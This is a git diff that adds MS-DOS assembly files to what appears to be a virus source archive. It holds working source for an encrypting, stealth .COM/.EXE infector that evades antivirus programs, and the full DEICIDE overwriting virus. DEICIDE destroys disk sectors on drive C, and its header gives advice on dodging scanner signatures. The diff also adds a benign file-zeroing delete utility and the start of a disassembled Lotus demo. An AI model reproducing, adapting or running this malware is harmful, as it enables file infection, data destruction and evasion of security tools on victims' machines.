sbb word ptr es:[di + 13h],0 + + pop es:[di + 17h] ; restore file pointer + pop es:[di + 15h] + + pop dx cx ds ; now we move our 28 bytes + push ds ; into theirs ... + pop es + + mov di,dx + mov si,offset read_buffer + push cs + pop ds + rep movsb ; done + + push es ; restore DS + pop ds + + pop ax + pop cx bx es es di si + clc + retf 2 + +no_read_stealth: + pop cx bx ax es di si +forget_it: + jmp int_21_exit + +fix_date: + call int_21 ; get date + jc an_error + cmp dh,100 ; if years > 100, + jb date_fixed ; fix it up + ror dh,1 + sub dh,100 + rol dh,1 +date_fixed: + iret +an_error: + retf 2 +; Called routines + +; this routine checks for a .COM or .EXE file +try_infecting: + push di es cx ax + + cmp ax,6C00h ; extended open fix + jne get_ext + xchg dx,si +get_ext: + mov di,dx ; find program extension + push ds + pop es + mov cx,64 + mov al,'.' + repnz scasb + pop ax + jcxz let_it_be ; ... "ecch" ... + + cmp [di],'OC' ; .COM file? + jne perhaps_exe ; maybe .EXE, then + cmp byte ptr [di + 2],'M' + jne let_it_be ; not program, don't infect + jmp yes_infect_it +perhaps_exe: + cmp [di],'XE' ; .EXE file? + jne one_more_try ; maybe ... .OVL? + cmp byte ptr [di + 2],'E' + jne let_it_be + jmp yes_infect_it +one_more_try: + cmp [di],'VO' ; .OVL file? + jne let_it_be + cmp byte ptr [di + 2],'L' + jne let_it_be +yes_infect_it: + call check_name ; don't infect forbidden + jc let_it_be ; programs + call infect_ds_dx +let_it_be: + cmp ah,6Ch ; extended open fixup + jne get_out + xchg dx,si +get_out: + pop cx es di + ret + +; this routine checks the filename at DS:DX for certain 'bad' programs + +check_name: + push ax cx es di + + push ds ; find extension + pop es + mov di,dx + mov cx,64 + mov al,'.' + repnz scasb + + cmp word ptr [di - 3],'NA' ; SCAN or TBSCAN + jne pass_1 + cmp word ptr [di - 5],'CS' + je av_prog +pass_1: + cmp word ptr [di - 3],'TO' ; Frisk's F-PRoT + jne pass_2 + cmp word ptr [di - 5],'RP' + je av_prog +pass_2: + cmp word ptr [di - 3],'DN' ; COMMAND.COM + jne pass_3 ; ("Bad or Missing," etc.) + cmp word ptr [di - 5],'AM' + je av_prog +pass_3: + cmp word ptr [di - 5],'SA' ; MS-DOS's QBASIC + jne pass_4 ; ("Packed file is corrupt") + cmp word ptr [di - 7],'BQ' + je av_prog +pass_4: + clc ; passed the test + jmp check_complete +av_prog: + stc ; ack! *GAG* *boo* *hiss* +check_complete: + pop di es cx ax + ret + +; this routine infects the file at DS:DX + +infect_ds_dx: + push ax bx cx dx si di ds es + + in al,21h ; some anti-trace + xor al,2 + out 21h,al + + xor al,2 + out 21h,al + + mov ax,3D00h ; read-only ... we'll change + call int_21 ; it later, but it won't trip + jnc hook_24 ; some AV monitors + jmp cant_open + +hook_24: + xor bx,bx ; hook int 24h + mov ds,bx ; prevent write protect errors + mov ds:[24h * 4],offset new_int_24 + mov ds:[24h * 4 + 2],cs + + xchg bx,ax ; get system file tables + push bx + mov ax,1220h + int 2Fh + nop ; anti-SCAN + + mov bl,es:[di] + mov ax,1216h + int 2Fh + pop bx + + call check_datestamp ; if already infected, + jae dont_infect ; don't do it again + + mov word ptr es:[di + 2],2 ; change mode to R/W + + push cs ; read in 28 bytes of + pop ds ; our potential host ... + + mov dx,offset read_buffer + mov cx,28 + mov ah,3Fh ; (carefully avoiding + call int_21 ; our stealth routine) + + cmp word ptr read_buffer,'ZM' + je infect_exe ; if .EXE, infect as one + + mov exe_flag,0 ; infect as .COM + + mov ax,es:[di + 11h] ; get file size + + cmp ax,65279 - VIRUS_SIZE + 28 + ja dont_infect ; don't infect; too big + + cmp ax,28 + jb dont_infect ; don't infect; too small + + mov es:[di + 15h],ax ; move to end of file + ; (I just love the SFTs ...) + call encrypt_and_write_virus ; encrypt the virus code + ; then write it to the file + + mov dx,offset read_buffer ; store original + mov cx,28 ; header + mov ah,40h + call int_21 + + mov word ptr es:[di + 15h],0 ; and lastly, back to + ; the beginning of the file + mov dx,offset new_header ; to add the new header + mov ah,40h + mov cx,22 ; our header's only 22 bytesx + call int_21 + + mov cx,es:[di + 0Dh] ; fix date/time + mov dx,es:[di + 0Fh] + ror dh,1 + add dh,100 + rol dh,1 + mov ax,5701h + call int_21 +dont_infect: + mov ah,3Eh ; and close the file + call int_21 +cant_open: + jmp infect_exit ; infection done; exit + +infect_exe: + cmp word ptr read_buffer[24],'@' + jne not_windows + jmp infect_exit ; Windows .EXE, don't infect +not_windows: + cmp word ptr read_buffer[26],0 + je not_overlay + jmp infect_exit ; overlay .EXE, don't infect +not_overlay: + mov exe_flag,1 ; infect as .EXE + + push es di ; move original header + push cs ; into new header area + pop es + + mov si,offset read_buffer + mov di,offset header_buffer + mov cx,28 + rep movsb + + pop di es + + push es:[di + 11h] ; save file size on stack + push es:[di + 13h] + + push word ptr read_buffer[22] ; CS ... + pop exe_cs + add exe_cs,10h ; (adjust) + push word ptr read_buffer[20] ; IP ... + pop exe_ip + + push word ptr read_buffer[14] ; SS ... + pop exe_ss + add exe_ss,10h ; (adjust) + push word ptr read_buffer[16] ; and SP + pop exe_sp + + pop dx ax ; now we calculate new CS:IP + push ax dx ; (save these for later) + + push bx + mov cl,12 ; calculate offsets for CS + shl dx,cl ; and IP + mov bx,ax + mov cl,4 + shr bx,cl + add dx,bx + and ax,15 + pop bx + + sub dx,word ptr read_buffer[8] + mov word ptr read_buffer[22],dx + mov word ptr read_buffer[20],ax + + pop dx ax + add ax,VIRUS_SIZE + 28 + adc dx,0 + push ax dx + + mov cl,4 ; create a stack segment + shr ax,cl + add ax,200 + + cmp ax,word ptr read_buffer[14] + jb no_new_stack ; if theirs is better, skip it + + mov dx,-2 ; set SP to FFFE always + mov word ptr read_buffer[14],ax + mov word ptr read_buffer[16],dx +no_new_stack: + pop dx ax ; now calculate program size + + mov cx,512 ; in pages + div cx ; then save results + inc ax + mov word ptr read_buffer[2],dx + mov word ptr read_buffer[4],ax + + mov ax,4202h ; this is just easier + cwd ; than using the SFTs + xor cx,cx + call int_21 + + mov ax,word ptr read_buffer[20] ; get code offset + call encrypt_and_write_virus ; encrypt virus code + ; and write it to the file + mov dx,offset header_buffer ; write original header + mov cx,28 ; to file + mov ah,40h + call int_21 + + mov word ptr es:[di + 15h],0 + mov word ptr es:[di + 17h],0 ; back to beginning of file + + mov dx,offset read_buffer ; and write new header to file + mov ah,40h + call int_21 + + mov cx,es:[di + 0Dh] ; fix date/time + mov dx,es:[di + 0Fh] + ror dh,1 + add dh,100 + rol dh,1 + mov ax,5701h + call int_21 + + mov ah,3Eh ; close file + call int_21 + +infect_exit: + pop es ds di si dx cx bx ax ; done ... leave + ret + +encrypt_and_write_virus: + push es di bx ax ; save code offset and SFT + mov bx,ax + + xor ah,ah ; get random number from + int 1Ah ; system clock + mov cipher,dl ; and use it for encryption + + pop ax ; fix up offset + + cmp exe_flag,0 + jne not_org_100h + add ax,100h +not_org_100h: + add ax,(viral_code - virus_begin) + mov ds:code_offset,ax + + add ax,(virus_end - viral_code) - 1 ; second offset + mov ds:code_offset_2,ax + + mov si,offset virus_begin + mov di,offset encrypt_buffer + + push cs ; move decryption module + pop es + + mov cx,viral_code - virus_begin + rep movsb + + mov si,offset viral_code + mov cx,virus_end - viral_code +encrypt: ; now encrypt virus code + lodsb ; with a simple encryption +decryptor_2: + xor al,dl ; key ... +shift_2: + neg dl + stosb + loop encrypt + + cmp exe_flag,0 ; if .COM file, + jne exe_infection + mov ax,bx + call create_header ; create unique header + +exe_infection: + pop bx di es ; restore SFT + + mov ah,40h ; wrte virus code to file + mov cx,VIRUS_SIZE + mov dx,offset encrypt_buffer + call int_21 + + ret + +check_datestamp: + mov ax,es:[di + 0Fh] ; a little routine to + cmp ah,100 ; check timestamps + ret + +drop_program: + lea dx,[bp + offset weirdo] ; this creates our + push ds ; little signature + push cs + pop ds + mov ah,3Ch + mov cx,3 + int 21h + jc no_drop + + xchg ax,bx + mov ah,40h + mov cx,(drop_me_end - drop_me) + lea dx,[bp + offset drop_me] + int 21h + + mov ah,3Eh + int 21h + +no_drop: + pop ds + ret + +delete_program: + mov ah,41h + lea dx,[bp + offset weirdo] + push ds + push cs + pop ds + int 21h + pop ds + ret + +create_header: + push ax + add ax,100h + (offset decrypt - offset virus_begin) + mov ds:mov_1,ax ; header + inc ax + inc ax + mov ds:mov_2,ax + + xor ah,ah ; fill in useless MOVs + int 1Ah ; with random bytes + mov ds:mov_al,cl + mov ds:mov_ax,dx + + push dx ; modify header a little ... + and cl,7 ; make things weirder ... + add cl,0B0h + mov ds:mov_reg,cl + and dl,3 + add dl,0B8h + mov ds:mov_regx,dl + pop dx + + push cs + pop es + mov di,offset encrypt_buffer + add di,offset decrypt - offset virus_begin + mov ax,dx ; now fill decryption module + neg ax ; with some garbage + stosw + rol ax,1 + stosw + + pop ax + sub ax,20 ; fix up JMP instruction + mov ds:new_jump,ax + + ret ; done + +new_header db 0C7h,06 +mov_1 dw 00 + db 2Eh +decryptor_3 db 30h ; first MOV +mov_reg db 0B0h +mov_al db 00 ; a nothing MOV bytereg, + db 0C7h,06 +mov_2 dw 00 + db 07,043h ; second MOV +mov_regx db 0B8h +mov_ax dw 00 ; a nothing MOV wordreg, + db 0E9h ; jump instruction +new_jump dw 0 ; virus offset + +exe_flag db 0 + +exe_cs dw 0 ; EXE code/stack settings +exe_ip dw 0 +exe_ss dw 0 +exe_sp dw 0 + +drop_me: + mov ah,9 ; this program is dropped + mov dx,109h ; at random times within + int 21h ; the root directory as + int 20h ; \DEI.COM + +sig db 'Devils & Evangels, Inc. ' + db '[DEI] MnemoniX $',0 +drop_me_end: + db 'v2.00' + +weirdo db '\DEI.COM',0 + +virus_end: +host: + mov ah,4Ch ; fake host program + int 21h + +VIRUS_SIZE equ virus_end - virus_begin + +read_buffer db 28 dup (?) +header_buffer db 28 dup (?) +encrypt_buffer db VIRUS_SIZE dup (?) +end_heap: + +MEM_SIZE equ end_heap - start + +code ends + end start diff --git a/d/DEICIDE.ASM b/d/DEICIDE.ASM new file mode 100755 index 0000000..5156bb0 --- /dev/null +++ b/d/DEICIDE.ASM @@ -0,0 +1,218 @@ +;*************************************************************************** +; Source code of the DEICIDE Virus, original author: Glen Benton +; Assemble with A86 - Sanitized, English-ized and spruced up for inclusion +; in Crypt Newsletter #7. The Crypt reader will also notice the +; DEICIDE listing has NO declarative red tape - no org's, no assume +; cs,ds,es stuff, no start/ends pairs or proc labels. For the average +; reader, this means TASM and MASM will choke if you try to get them to +; assemble this as is. A86 doesn't need it, as Isaacson is fond of saying, +; and this listing can be assembled directly to a .COMfile +; without the need of a linker. +; +; DEICIDE virus is a kamikaze overwriting .COM infector, with a length +; of 666 bytes in its original state. With A86, you get 665 bytes, which, we +; assume ruins, the 'aesthetics' of things just a bit. (Try adding a NOP +; to the listing if this bugs you too much.) Anyway, on call DEICIDE +; jumps right to the root directory where it looks for a any .COM file +; except COMMAND.COM to infect. +; +; If all files are infected, and DEICIDE is not on the C drive it attempts to +; ruin it anyway. If all files in the root on C are infected, the fixed disk +; is destroyed, a message displayed and the computer hung. +; If a program is successfully overwritten, DEICIDE exits to DOS +; after displaying 'File corruption error.' If DEICIDE is trapped on +; a diskette that is write-protected, it will generate noxious 'Abort, +; Retry, Ignore, Fail' messages. +; +; You can work with DEICIDE quite easily by commenting out the destructive +; sequence and reassembling. Then it will merely mess up .COM's in +; your root directory. If you forget that you're using NDOS or 4DOS, DEICIDE +; will promptly foul your command processor and the operating system +; won't load properly when you reboot. In an interesting side note, +; removing the destructive payload of DEICIDE causes SCAN to lose sight of +; DEICIDE. (There's a simple poor man's method to a 'new' strain. Fool +; your friends who think you've written a virus from scratch.) +; The DEBUG script of DEICIDE has the destructive payload "rearranged" and +; is not, strictly speaking, identical to this listing. This has made +; that copy of DEICIDE (referred to in the scriptfile as DEICIDE2) +; functionally similar to the original, but +; still invisible to SCAN v85b and a number of other commercial products. +; The lesson to be learned here is that software developers shouldn't choose +; generic disk overwriting payloads as signatures for their scanners. +; +; I must confess I'm fascinated by the mind that went into creating DEICIDE. +; Even in 1990, the DEICIDE was more of a 'hard disk bomb' than a virus. +; Think a moment. How many files are in your root directory? How long before +; this sucker activated and spoiled your afternoon? Once? Twice? In +; any case, it still is an easily understood piece of code, enjoying its +; own unique charm. Enjoy looking at DEICIDE. Your virus pal, URNST KOUCH. +;*************************************************************************** + +Start_Prog: jmp short Start_Virus + nop + +Message db 0Dh,0Ah,'DEICIDE!' + db 0Dh,0Ah + db 0Dh,0Ah,'Glenn (666) says : BYE BYE HARDDISK!!' + db 0Dh,0Ah + db 0Dh,0Ah,'Next time be carufull with illegal stuff......$' + +Start_Virus: mov ah,19h ; Get actual drive + int 21h + + db 0A2h ; Mov [EA],al + dw offset Infect_Drive + db 0A2h ; A86 assembles this differently + dw offset Actual_Drive ; so put the original code here + + mov ah,47h ; Get actual directory + mov dl,0 + mov si,offset Actual_Dir + int 21h + + mov ah,1Ah ; stash DTA in safe place + mov dx,offset New_DTA + int 21h + +Infect_Next: mov ah,3Bh ; DOS chdir function, go to root dir + mov dx,offset Root_Dir + int 21h + + mov ah,4Eh ; Search first .COM file + mov cx,0 + mov dx,offset Search_Path ; using file mask + int 21h + +Check_Command: mov al,'D' ; Check if 7th char is a 'D' (To prevent + cmp [New_DTA+24h],al ; infecting COMMAND.COM, causing + jnz Check_Infect ; noticeable boot failure) + jmp short Search_Next + nop + +Check_Infect: mov ah,3Dh ; Open found file with write access + mov al,2 + mov dx,offset New_DTA+1Eh + int 21h + mov File_Handle,ax ; Save handle + mov bx,ax + + mov ah,57h ; Get date/time of file + mov al,0 ; why, for Heaven's sake? + int 21h + mov File_Date,dx + mov File_Time,cx + + call Go_Beg_File ; Go to beginning of file + + mov ah,3Fh ; Read first 2 bytes + mov cx,2 + mov dx,offset Read_Buf ; into a comparison buffer + int 21h + + mov al,byte ptr [Read_Buf+1] ; now, take a look at the + cmp al,offset Start_Virus-102h ; buffer and the start of + jnz Infect ; DEICIDE. Is it the + ; jump? If not, infect file + mov ah,3Eh ; Already infected, so close file + int 21h + +Search_Next: mov ah,4Fh ; Search next file function + int 21h + jnc Check_Command ; No error - try this file + + mov al,Infect_Drive ; Skip to next drive, + cmp al,0 + jnz No_A_Drive + inc al +No_A_Drive: inc al + cmp al,3 ; Is the drive C:? + jnz No_Destroy ; + ; if it is and haven't been + ; able to infect + mov al,2 ; Overwrite first 80 sectors, + mov bx,0 ; BUMMER! + mov cx,50h ; BUMMER! + mov dx,0 ; BUMMER! + int 26h ; BUMMER! + + mov ah,9 ; Show silly message + mov dx,offset Message + int 21h + + +Lock_System: jmp short Lock_System ; lock up the system so the poor fool + ; has to start reloading right away +No_Destroy: mov dl,al ; New actual drive + mov ah,0Eh + mov Infect_Drive,dl ; Save drive number. + int 21h + + jmp Infect_Next + +Infect: call Go_Beg_File ;call seek routine + + mov ah,40h ; Write DEICIDE to the file + mov cx,offset End_Virus-100h ;right over the top, starting + mov dx,100h ; at the beginning, thus messing + int 21h ; up everything + + mov ah,57h ; Restore date/time of file + mov al,1 ; why, for God's sake? You + mov cx,File_Time ; think no one will notice + mov dx,File_Date ; file is destroyed? + int 21h + + mov ah,3Eh ; Close file, let's be neat + int 21h + + mov dl,byte ptr [Actual_Drive] ; Back to original drive + mov ah,0Eh + int 21h + + mov ah,3Bh ; And original dir + mov dx,offset Actual_Dir + int 21h + + mov ah,9 ; Show 'File corruption error.' + mov dx,offset Quit_Message ; when destroyed, infected + int 21h ; program misfires and DEICIDE + ; executes so user may be placated + int 20h ; Exit back to DOS + +Go_Beg_File: mov ah,42h ; Procedure: seek to start of file + mov al,0 + mov cx,0 + mov dx,0 + int 21h + ret + + +File_Date dw (?) +File_Time dw (?) + +File_Handle dw (?) + +Infect_Drive db (?) + +Root_Dir db '\',0 + +Search_Path db '*.COM',0 + +Read_Buf db 2 dup (?) + +Actual_Drive db (?) + + +Quit_Message db 'File corruption error.',0Dh,0Ah,'$' + +New_DTA db 2Bh dup (?) + +Actual_Dir db 40h dup (?) + + db 'This experimental virus was written by Glenn Benton to ' + db 'see if I can make a virus while learning machinecode for ' + db '2,5 months. (C) 10-23-1990 by Glenn. I keep on going ' + db 'making virusses.' + +End_Virus: + diff --git a/d/DELZ.ASM b/d/DELZ.ASM new file mode 100755 index 0000000..ec4ef9d --- /dev/null +++ b/d/DELZ.ASM @@ -0,0 +1,327 @@ +INTERRUPTS SEGMENT AT 0H + ORG 9H*4 ;holds the address of its service routine +KEYBOARD_INT LABEL DWORD + ORG 21H*4 ;This is to use INT 21H +INT_21H LABEL DWORD ;which is the DOS function call interrupt +INTERRUPTS ENDS + +ROM_BIOS_DATA SEGMENT AT 40H ;BIOS statuses held here, also keyboard buffer + + ORG 1AH + HEAD DW ? ;Unread chars go from Head to Tail + TAIL DW ? + BUFFER DW 16 DUP (?) ;The buffer itself + BUFFER_END LABEL WORD + +ROM_BIOS_DATA ENDS + +CODE_SEG SEGMENT + ASSUME CS:CODE_SEG + ORG 100H ;ORG = 100H to make this into a + ;".com" file +FIRST: JMP LOAD_INT_21H + + COPY_RIGHT DB '(C)1985 S Holzner' + BYPASS_FLAG DB 0 ;Bypass our checking for #? 1=Yes + ZERO_FLAG DB 0 ;Was there a zero in filename? 1=Yes + CR_FLAG DB 0 + DTA DD ? ;The old disk transfer area address + OLD_INT_21H DD ? ;Address INT 21H uses normally + OLD_KEYBOARD_INT DD ? ;Location of old kbd interrupt + COUNT DW ? + FCB_OFFSET DW ? ;Offset of given filename to be deleted + FCB_SEG DW 0 ;Segment address of the same. + COMMAND_INDEX DW 0 + DEL_Z DB 'DEL/Z',0 + CRLF DB 13,10,'$' ;Carriage return, linefeed for messages + MSG DB ' ZEROED AND DELETED.',13,10,'$' ;The message + ERR DB 'Error deleting $' ;Error message + +DELZ PROC FAR ;The function call interrupt will now come here. + + PUSHF ;Save flags first (will get changed by CMPs) + CMP AH,13H ;Are we deleting? + JNE JUMP ;No, jump to function call Int and do not return + CMP ZERO_FLAG,1 ;Are we supposed to zero? + JNE JUMP ;If not, don't + TEST BYPASS_FLAG,1 ;We are deleting. Is bypass on? + JZ DEL_CHECK ;No, check if we should delete file. +JUMP: POPF ;Restore flags + JMP OLD_INT_21H ;Jump to function call Int. (CALL won't work). +DEL_CHECK: ;DS:DX are pointing to filename to be deleted (from delete call) + PUSH BX ;Save all used registers to be polite + PUSH CX + PUSH DX + PUSH SI + PUSH DI + PUSH AX ;Save AX last since will pop first and return status in it + + MOV FCB_OFFSET,DX ;Save address of the file-to-be-deleted's FCB + MOV FCB_SEG,DS ;Ditto for the segment address + + MOV AH,2FH ;Now get Disk Transfer Area (DTA) address + INT 21H ;This will work since AH is not equal to 13H + + MOV DTA,BX ;Store DTA address Low part + MOV DTA[2],ES ;Ditto High part + PUSH DS ;Save file-to-be-deleted's FCB's Segment address + MOV AH,1AH ;Put the new DTA in our Program Segment Prefix, + MOV DX,80H ; CS:0080H (CS came from INT 21H vector we set) + PUSH CS ;Now move DS into CS to set DTA + POP DS + INT 21H ;Set Disk Transfer Area (DTA) + POP DS ;Restore Segment address of given file's FCB + + MOV DX,FCB_OFFSET ;Restore the given file's FCB's address low part + MOV AH,11H ;Ask for DOS service 11H, which asks for the + INT 21H ; first match to the given file's FCB + + TEST AL,1 ;Was a match found? + JZ TOP ;Yes, start checking if we should delete. + POP AX ;No, return status 0FF (not found) in AL + MOV AL,0FFH + JMP NONE_FOUND ;Over and out. +TOP: + MOV SI,81H ;the matching file's FCB is in DTA from search + MOV DI,0C0H ;We will move the name to print and scan for # + MOV CX,0BH ;11 characters per file + PUSH DS ;Get ready for string move, set up DS and ES + PUSH CS ;Set them both to CS (use program segment + POP DS ; prefix area) + MOV DX,80H ;Point to match to open file + MOV AH,0FH ;Select the correct DOS call + INT 21H + CMP AL,0 ;If error opening file, exit + JNE ERROR + MOV BX,80H ;Set record size to 512 + MOV WORD PTR [BX+14],512 + MOV AX,[BX+16] ;Find the file's size in sectors + XOR DX,DX + TEST AX,511 ;Do we have to add an add'l sector? + JZ SHIF ;No, do the shift + INC DX ;Yes, add 1 +SHIF: MOV CL,9 ;Divide by 512 + SHR AX,CL + MOV COUNT,AX ;Store in Count + ADD COUNT,DX ;And add possible add'l sector + MOV AX,[BX+18] ;Now for the high part of size + MOV CL,7 ;Mult by 65536 div by 512 + SHL AX,CL + ADD COUNT,AX ;And add to what we already have + MOV DX,80H ;Now prepare for sequential write + MOV CX,COUNT ;Do COUNT sectors + MOV AH,15H +FILL: INT 21H ;Fill with copies of this prog. + CMP AL,0 ;Error writing? + JNE ERROR ;Yes, jump to ERROR + LOOP FILL ;No, go back for next one + MOV AH,10H ;Close the file now. + INT 21H + CMP AL,0 ;Error closing? + JNE ERROR ;Yep, go to ERROR + MOV AH,13H ;No, delete the file at last (Whew) + MOV BYPASS_FLAG,1 ;Don't intercept this call + INT 21H + MOV BYPASS_FLAG,0 + CMP AL,0 ;Everything OK? + JNE ERROR ;No, go to ERROR + CALL PRINT_NAME ;Yes, print the name + LEA DX,MSG ;And the zeroed message + MOV AH,9 + INT 21H + JMP SAVE +ERROR: MOV AH,10H ;First make sure file is closed + INT 21H + LEA DX,ERR ;Then print error message and go on + MOV AH,9 ; to next file + INT 21H + CALL PRINT_NAME +SAVE: POP DS ;Get segment of original given file's FCB + MOV DX,FCB_OFFSET ;Search for next match -- point to original FCB + MOV AH,12H ;Search for next match + INT 21H + TEST AL,1 ;Was a match found? + JNZ OUT + JMP TOP + +OUT: POP AX ;At least one file deleted, set AL acordingly, + MOV AL,0 ; which means set it to 0 +NONE_FOUND: + PUSH DS ;Now we have to reset the Disk Transfer Area + PUSH AX ;Save AX since it contains success status + MOV AH,1AH ;Function call 1AH will do want we want + MOV DX,DTA[2] ;Get original DTA's segment into DS + MOV DS,DX + MOV DX,DTA ;Now get offset inside that segment of same + INT 21H ;And reset DTA + POP AX ;Restore AX with status + POP DS ;And DS with original DS + + POP DI ;And restore the other registers + POP SI + POP DX + POP CX + POP BX + POPF ;We musn't forget our original PUSHF + IRET ;An interrupt deserves an IRET + +DELZ ENDP ;And that's it + +PRINT_NAME PROC NEAR ;This small subroutine just prints + MOV BX,80H+1 ; file's name from the FCB + MOV AH,2 ;Use DOS service 2 + MOV CX,11 ;Print all 11 letters +PRINT: MOV DL,[BX] ;Printing loop + INT 21H + INC BX ;Get next letter + LOOP PRINT + RET ;And return +PRINT_NAME ENDP + +READ_KEY PROC NEAR ;The keyboard interrupt will now come here. + ASSUME CS:CODE_SEG + PUSH AX ;Save the used registers for good form + PUSH BX + PUSH CX + PUSH DX + PUSH DI + PUSH SI + PUSH DS + PUSHF ;First, call old keyboard interrupt + CALL OLD_KEYBOARD_INT + + ASSUME DS:ROM_BIOS_DATA ;Examine the char just put in + MOV BX,ROM_BIOS_DATA + MOV DS,BX + MOV BX,TAIL ;Point to current tail + CMP BX,HEAD ;If at head, kbd int has deleted char + JNE CR ;So leave + JMP NOCR +CR: SUB BX,2 ;Point to just read in character + CMP BX,OFFSET BUFFER ;Did we undershoot buffer? + JAE NO_WRAP ;Nope + MOV BX,OFFSET BUFFER_END ;Yes -- move to buffer top + SUB BX,2 +NO_WRAP:MOV DX,[BX] ;Char in DX now + + CMP DL,'Z' ;Make sure we are in upper case + JBE CHAROK + SUB DL,'a'-'A' ;Make REALLY sure. +CHAROK: PUSH CS + POP DS ;Point to Code Seg with DS + ASSUME DS:CODE_SEG + CMP CR_FLAG,1 ;CR_Flag resets Zero_Flag + JNE CHECK + MOV CR_FLAG,0 ;Reset CR_Flag + MOV ZERO_FLAG,0 ;And Zero_Flag + MOV COMMAND_INDEX,0 ;As well as Command_Index +CHECK: LEA SI,DEL_Z ;Check the typed character + ADD SI,COMMAND_INDEX ;Find place in test string + CMP DL,[SI] ;Match? + JNE NOSET ;If not, forget it + INC COMMAND_INDEX ;Match! Move to next char next time + + CMP DL,'/' ;For DOS 3+, delete the /Z from buffer + JNE NOTSLSH + ASSUME DS:ROM_BIOS_DATA ;Examine the char just put in + MOV CX,ROM_BIOS_DATA + MOV DS,CX + MOV TAIL,BX ;Erase character from buffer + MOV AH,10 ;Get ready to print the character + MOV CX,1 + MOV AL,DL + XOR BX,BX ;Display page 0 + INT 10H ;Print the '/' + MOV AH,3 ;Now prepare to move cursor over 1 + INT 10H ;Get present position + ADD DX,1 ;Add 1 + MOV AH,2 ;And reset cursor + INT 10H + +NOTSLSH:CMP DL,'Z' ;For DOS 3+, delete the /Z from buffer + JNE NOTZ + ASSUME DS:ROM_BIOS_DATA ;Examine the char just put in + MOV CX,ROM_BIOS_DATA + MOV DS,CX + MOV TAIL,BX ;Erase character from the buffer + MOV AH,10 ;Prepare to type the 'Z' + MOV CX,1 + MOV AL,DL + XOR BX,BX + INT 10H + MOV AH,3 ;And now adjust the cursor + INT 10H ;Moving it to the left 1 space + ADD DX,1 + MOV AH,2 + INT 10H + +NOTZ: ASSUME DS:CODE_SEG + PUSH CS + POP DS + + CMP BYTE PTR [SI+1],0 + JNE NOSET + MOV ZERO_FLAG,1 + MOV COMMAND_INDEX,0 +NOSET: MOV CR_FLAG,0 + CMP DX,1C0DH + JNE NOCR + MOV CR_FLAG,1 +NOCR: POP DS + POP SI + POP DI + POP DX + POP CX + POP BX + POP AX + IRET +READ_KEY ENDP + +LOAD_INT_21H PROC NEAR ;This subroutine installs DELZ + + ASSUME DS:INTERRUPTS ;Now set DS to point to INTERRUPTS seg. + MOV AX,INTERRUPTS + MOV DS,AX + + MOV AX,KEYBOARD_INT ;Get the old interrupt service routine + MOV OLD_KEYBOARD_INT,AX ;address and put it into our location + MOV AX,KEYBOARD_INT[2] ;OLD_KEYBOARD_INT so we can call it. + MOV OLD_KEYBOARD_INT[2],AX + + MOV KEYBOARD_INT,OFFSET READ_KEY + MOV KEYBOARD_INT[2],CS ;routine into the keyboard interrupt + + MOV AX,INT_21H ;Get the original function call INT's + MOV OLD_INT_21H,AX ;address and put it into our location + MOV AX,INT_21H[2] ;OLD_INT_21H so we can still jump there + MOV OLD_INT_21H[2],AX + + MOV INT_21H[2],CS ;Install our delete filter's address + MOV INT_21H,OFFSET DELZ ; as new function call INT + + PUSH CS ;Now point to CS in preparation for + POP DS ; terminate and stay resident call + + MOV DX,OFFSET LOAD_INT_21H ;Set up everything but LOAD_INT_21H to + INT 27H ;stay and attach itself to DOS + +LOAD_INT_21H ENDP ;End of loading subroutine + + CODE_SEG ENDS ;End of Code Segment + + END FIRST ;END "FIRST" so 8088 will go to FIRST first. + + + + + + + + + + + + + + + diff --git a/d/DEMO.ASM b/d/DEMO.ASM new file mode 100755 index 0000000..3cb23d7 --- /dev/null +++ b/d/DEMO.ASM @@ -0,0 +1,2407 @@ + +PAGE 59,132 + +; +; +; DEMO +; +; Created: 2-Mar-89 +; Version: +; Passes: 5 Analysis Options on: ABFOP +; Copyright (C) 1986 +; +; + +movseg macro reg16, unused, Imm16 ; Fixup for Assembler + ifidn , + db 0BBh + endif + ifidn , + db 0B9h + endif + ifidn , + db 0BAh + endif + ifidn , + db 0BEh + endif + ifidn , + db 0BFh + endif + ifidn , + db 0BDh + endif + ifidn , + db 0BCh + endif + ifidn , + db 0BBH + endif + ifidn , + db 0B9H + endif + ifidn , + db 0BAH + endif + ifidn , + db 0BEH + endif + ifidn , + db 0BFH + endif + ifidn , + db 0BDH + endif + ifidn , + db 0BCH + endif + dw seg Imm16 +endm +DATA_1E EQU 2CH ; (97DE:002C=0) +DATA_17E EQU 0AC71H ; (97DE:AC71=0FFFFH) + +SEG_A SEGMENT BYTE PUBLIC + ASSUME CS:SEG_A, DS:SEG_A + + + ORG 100h + +DEMO PROC FAR + +START: + JMP LOC_31 ; (24E1) + OR AX,2020H + AND [DI],CL + OR CL,[SI+4FH] + PUSH SP + PUSH BP + PUSH BX + AND [BX+SI+41H],CL + DEC SP + AND [SI+65H],AL + DB 'monstration', 0DH, 0AH +COPYRIGHT DB 'Copyright (C) 1986' + DB 0DH, 0AH, 'Lotus Development Corp' + DB 'oration', 0DH, 0AH, 'Singular So' + DB 'lutions & GNP', 0DH, 0AH, 'All R' + DB 'ights Reserved', 0DH, 0AH, 'Rele' + DB 'ase 1.00', 0DH, 0AH + DB 1AH, 0DH +DATA_4 DB 0AH, 'Please wait ...', 0DH, 0AH, '$' + DB 'MAGELLAN.DAT', 0 + DB 'MAGELLAN.DBD', 0 + DB 0DH, 0AH, 0AH, 'Cannot find MAGEL' + DB 'LAN.DAT$' + DB 0DH, 0AH, 0AH, 'Cannot find MAGEL' + DB 'LAN.DBD$' +DATA_7 DB 80 DUP (0) +DATA_8 DB 0FCH + DB 20H, 00H + DB 139 DUP (0) + DB ' -arg mono' + DB 00H, 00H, 49H, 02H +DATA_10 DW 0 + DB 5CH, 00H +DATA_11 DW 0 + DB 6CH, 00H +DATA_12 DW 0 + +DEMO ENDP + +; +; +; External Entry Point +; +; + +INT_23H_ENTRY PROC FAR + MOV AX,600H + MOV BH,7 + XOR CX,CX ; Zero register + MOV DX,184FH + INT 10H ; Video display ah=functn 06h + ; scroll up, al=lines + MOV AH,2 + MOV BH,0 + XOR DX,DX ; Zero register + INT 10H ; Video display ah=functn 02h + ; set cursor location in dx + MOV AX,4C01H + INT 21H ; DOS Services ah=function 4Ch + ; terminate with al=return code + MOV AX,2523H + MOV DX,2F0H + INT 21H ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + CALL SUB_3 ; (03B1) + MOV SP,414H + PUSHF ; Push flags + MOV AH,9 + MOV DX,195H + INT 21H ; DOS Services ah=function 09h + ; display char string at ds:dx + MOV AX,1B4H + CALL SUB_4 ; (0495) + MOV DX,1DDH + JC LOC_5 ; Jump if carry Set + MOV BX,AX 